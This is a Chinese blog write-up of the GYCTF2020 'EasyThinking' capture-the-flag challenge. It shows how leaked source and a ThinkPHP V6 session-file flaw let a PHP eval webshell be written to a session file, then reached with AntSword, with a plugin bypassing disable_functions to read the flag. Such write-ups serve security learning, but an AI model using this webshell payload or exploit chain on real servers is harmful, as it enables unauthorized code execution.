• 练[GYCTF2020]EasyThinking


    [GYCTF2020]EasyThinking


    在这里插入图片描述

    掌握知识

    thinkphpV6任意文件操作漏洞,代码分析写入session文件的参数,源码泄露,使用蚁剑插件disable_functions绕过终端无回显ret=127

    解题思路

    1. 打开网站发现功能还挺完善,直接注册账号登录,看了看界面的功能,源码也没有泄露的hint。在找写入session文件内容的参数的时候了解到该题还存在网站源码泄露,输入www.zip可以看到网站结构

    image-20231011124501518

    还得靠大佬
    1. 根据https://www.cnblogs.com/yesec/p/12571861.html 该篇wp了解到写入session数据的关键参数就是搜索界面所搜索的内容,该参数会在后续的漏洞中将搜索的内容存入到构建的session文件中
    public function search()
        {
            if (Request::isPost()){
                if (!session('?UID'))
                {
                    return redirect('/home/member/login');            
                }
                $data = input("post.");
                $record = session("Record");
                if (!session("Record"))
                {
                    session("Record",$data["key"]);
                }
                else
                {
                    $recordArr = explode(",",$record);
                    $recordLen = sizeof($recordArr);
                    if ($recordLen >= 3){
                        array_shift($recordArr);
                        session("Record",implode(",",$recordArr) . "," . $data["key"]);    //注意这里,直接将搜索的内容写入了服务器生成的SESSION文件中
                        return View::fetch("result",["res" => "There's nothing here"]);
                    }
    
                }
                session("Record",$record . "," . $data["key"]);
                return View::fetch("result",["res" => "There's nothing here"]);
            }else{
                return View("search");
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    正式开始
    1. 现在步入正题,对于该网站没啥可下手的,根据题目提示是thinking,看界面猜测是thinkphp框架,输入错误的目录报错得到框架的版本为V6,一般涉及到thinkphp框架的ctf题,都和历史漏洞离不开关系了,直接搜索历史漏洞了解到任意文件操作的漏洞

    image-20231011125050710

    image-20231011125109083

    1. 根据文章介绍,需要修改session的值为一个文件名,必须满足32长度。关键的点在于要找到能写入session文件内容的参数,通过上面的了解就是搜索界面了。这样子前期工作就完成了,接下来只需要搜索内容就会把搜索的内容写入到/runtime/session/sess_文件名中,只要访问该目录就能访问到该文件,所以直接写入一句话木马进行蚁剑连接
    修改登录界面的session值     全局共用登录界面的session,也是后续生成的session文件名,以php结尾,满足session解析的32位
    写入session文件内容的参数    通过网站泄露的源码得知,搜索界面搜索的内容会直接写入到session文件中
    蚁剑连接     搜索一句话木马写入到文件中,服务器会生成保存session文件的目录为  /runtime/session/sess_文件名
    到此文件名可控  文件内容可控  文件路径已知  就很明了了
    
    • 1
    • 2
    • 3
    • 4

    image-20231011130026130

    image-20231011130034860

    image-20231011130039872

    1. 访问生成的session文件.../runtime/session/sess_96d042989ab86ba2f8280c9ff8dc.php,发现回显序列化字符串即代表成功成功写入文件,漏洞利用成功,直接蚁剑连接

    image-20231011130133778

    image-20231011130218889

    1. 查看根目录发现flag需要使用readflag读取,很是眼熟啊,打开虚拟终端,果然命令执行不会成功,回显ret=127,继续使用之前用到的蚁剑插件disable_functions,进行绕过,需要梯子下载

    image-20231011130335836

    image-20231011130345804

    image-20231011130430841

    1. 寻找一个符合版本的模式,直接点击开始,成功绕过会弹出一个虚拟终端界面,在新终端中就能执行命令了,不会再有限制,直接运行readflag,拿下flag

    image-20231011130600700

    image-20231011130606046

    关键paylaod

    96d042989ab86ba2f8280c9ff8dc.php
    <?php eval($_POST[a]);?>
    /runtime/session/sess_96d042989ab86ba2f8280c9ff8dc.php
    
    • 1
    • 2
    • 3
  • 相关阅读:
    Fiverr是什么?做外贸独立站能在Fiverr找到哪些外包服务?
    有想过吗,高速信号隔直电容为什么是几百NF量级的?
    【工作笔记】数据库死锁的排查和数据库锁知识记录
    代码随想录算法训练营Day60 | 84. 柱状图中最大的矩形
    libavformat 版本 - 讨论
    中国敏捷十年实践者分享:敏捷教练的自我修为
    重生之 SpringBoot3 入门保姆级学习(16、函数式 Web 编程)
    Asp.NetCore 从数据库加载配置(二)
    在winform中如何嵌入第三方软件窗体✨
    从 0 到 1 ,手把手教你编写《消息队列》项目(Java实现) —— 介绍项目/ 需求分析
  • 原文地址:https://blog.csdn.net/m0_66225311/article/details/133767455